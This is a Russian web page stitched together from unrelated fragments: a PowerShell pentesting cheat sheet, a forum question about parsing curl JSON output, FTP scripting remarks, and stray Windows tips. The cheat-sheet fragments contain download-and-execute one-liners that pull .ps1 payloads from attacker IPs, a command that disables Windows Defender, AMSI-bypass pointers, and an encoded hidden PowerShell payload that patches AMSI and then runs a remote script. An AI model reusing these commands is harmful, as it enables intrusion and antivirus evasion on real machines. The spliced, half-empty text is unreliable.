Проблемы при конвертации ответа от curl get в массив

Основные команды PS для начала

Список загруженных файлов

Список всех содержащих process

Получить полную справку по теме

## Создать объект учетных данных
Start-Process -Credential ($cred) -NoNewWindow powershell iex (New-Object Net.WebClient).DownloadString(http://10.10.14.11:443/ipst.ps1)

В этот период я был вынужден создать нечто подобное в PowerShell из-за использования FTP. Пожалуйста, обратите внимание, что FtpWebRequest официально не рекомендуется для новых разработок. Имейте в виду, что здесь нет обработки ошибок, поэтому наружу установите $ErrorActionPreference = Stop и используйте try catch. Управление ресурсами может быть не совершенным, так что будьте осторожны.

Изучайте взлом AWS с нуля до героя с помощью htARTE (HackTricks AWS Red Team Expert)! Другие способы поддержать HackTricks: Если вы хотите увидеть рекламу вашей компании в HackTricks или скачать HackTricks в PDF, проверьте ПЛАНЫ ПОДПИСКИ!

## Проверить порт или одиночный IP
## Проверить список портов в одиночном IP
## Проверить диапазон портов в одном IP
## Проверить список портов в списках IP - 80,443,445,8080
## Открыть SSH для мира SSH (Порт 22)
## Получить имя, протокол, локальные и удаленные порты,
## удаленный адрес, разрешить, профиль и направление
## Проверить статус
## Чтобы полностью отключить Windows Defender на компьютере, используйте команду:
New-ItemProperty -Path HKLM:SOFTWAREPoliciesMicrosoftWindows Defender -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
## Установить путь исключения
## Проверить настроенные исключения через GPO
KeyName : SoftwarePoliciesMicrosoftWindows DefenderExclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
KeyName : SoftwarePoliciesMicrosoftWindows DefenderExclusionsPaths
ValueName : C:WindowsTemp
ValueType : REG_SZ

amsi.dll загружается в ваш процесс и имеет необходимые экспорты для взаимодействия с любым приложением. И поскольку он загружен в память процесса, который вы контролируете,
вы можете изменить его поведение, перезаписав инструкции в памяти. Это позволяет ему ничего не обнаруживать.

Цель обхода AMSI заключается в перезаписи инструкций этой DLL в памяти, чтобы сделать обнаружение бесполезным.

Веб-страница генератора обхода AMSI: https://amsi.fail/

## Метод А
## Другой: с https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
## Другой метод: с https://github.com/HernanRodriguez1/Bypass-AMSI
## Другой метод: с https://github.com/HernanRodriguez1/Bypass-AMSI
## Другой метод: с https://github.com/HernanRodriguez1/Bypass-AMSI
## Другой метод
## Обход AMSI на python
## Тестирование обхода Amsi:

AMSI Bypass 2 – Перехват вызова управляемого API

Посмотрите этот пост для подробной информации и кода.
Введение:
Эта новая техника основана на перехвате вызова API методов .NET. .NET методы должны быть скомпилированы в нативные машинные инструкции в памяти, которые в итоге выглядят очень похоже на нативные методы. Эти скомпилированные методы могут быть перехвачены для изменения потока управления программы.

:/>  Как включить (отключить) языковую панель и индикатор ввода в Windows 10

Шаги выполнения перехвата вызова API методов .NET:

AMSI Bypass 3 – Привилегия SeDebug

AMSI Bypass – Дополнительные ресурсы

idkeypositionsourceType
0-0someone0Manual
0-1someone11Manual
0-2someone22Manual
0-3someone33Manual

Вот первый код, который я попробовал, который хотя бы что-то производит:

Результаты ниже выглядят так, будто все сжато в один элемент или свойство (простите мое недостаточное знание терминологии), но я ожидал массив, содержащий элемент для каждого элемента в таблице, из которой я извлекаю данные. Или это несколько элементов, которые ConvertFrom-Json не делит, как должен?:

Поэтому вместо этого я пытаюсь:

Результатом этого является пустой массив. Я изменяю команду select-object на Select-Object -Property \* в конвейере: Тот же пустой массив.

Теперь я пытаюсь это:

$request = curl.exe -H Csrf-Token:nocheck -H $token -H Content-Type: application/json -H Accept: application/json $uri $data = ConvertFrom-Json -InputObject $request $data

Результаты такие же, как и при первом шаге, который я попробовал!

И вот это:

Результат: ConvertFrom-Json: Недопустимый основной JSON:.

Я попробовал несколько других перестановок, включая использование Out-String перед ConvertFrom-Json, но без успеха. Есть ли у кого-то идеи, как это решить?

с . .configsexample.com_update_gd_dns_cfg.ps1:

Мне хотелось бы увидеть этот ответ: единственные значения, которые меня интересуют, это domain, nameServers и expires.

По какой-то причине вместо ответа сервера я получаю этот ответ:

Я не могу получить желаемый ответ, в чем проблема в моем коде?

Я попробовал этот код:

Почему он не печатает оставшиеся значения запроса?

Преобразование строки SDDL в удобочитаемый формат

Пароль : 1ts SecurePassword : System.Security.SecureString Domain : HTB

Или непосредственно разбор из XML:

По умолчанию местоположения PowerShell

##Это включает winrm Изменить категорию сетевого соединения на Частное

Скачать и выполнить

$h = New-Object -ComObject Msxml2.XMLHTTP; $h.open(GET, http://10.10.14.9:8000/ipw.ps1, $false); $h.send(); iex $h.responseText #разместите текстовую запись с вашим полезным нагрузкой на одном из ваших (не сожженных) доменов и сделайте это:

Скачать & Выполнить в фоне с обходом AMSI:

Start-Process -NoNewWindow powershell -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=

Использование b64 из Linux:

:/>  Какая комбинация клавиш используется для вставки текста после копирования

Пароль из защищенной строки

Конец файла.

Похоже, что можно получить размер файлов и даты их обновления на удаленном сервере, но так как у меня не было таланта для дизайна, ориентированного на традиционный FTP, я избавился от этого. Тестирование тоже сделано небрежно.

Что вы можете сделать, зарегистрировавшись

  • Найти более новые файлы

Опции: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc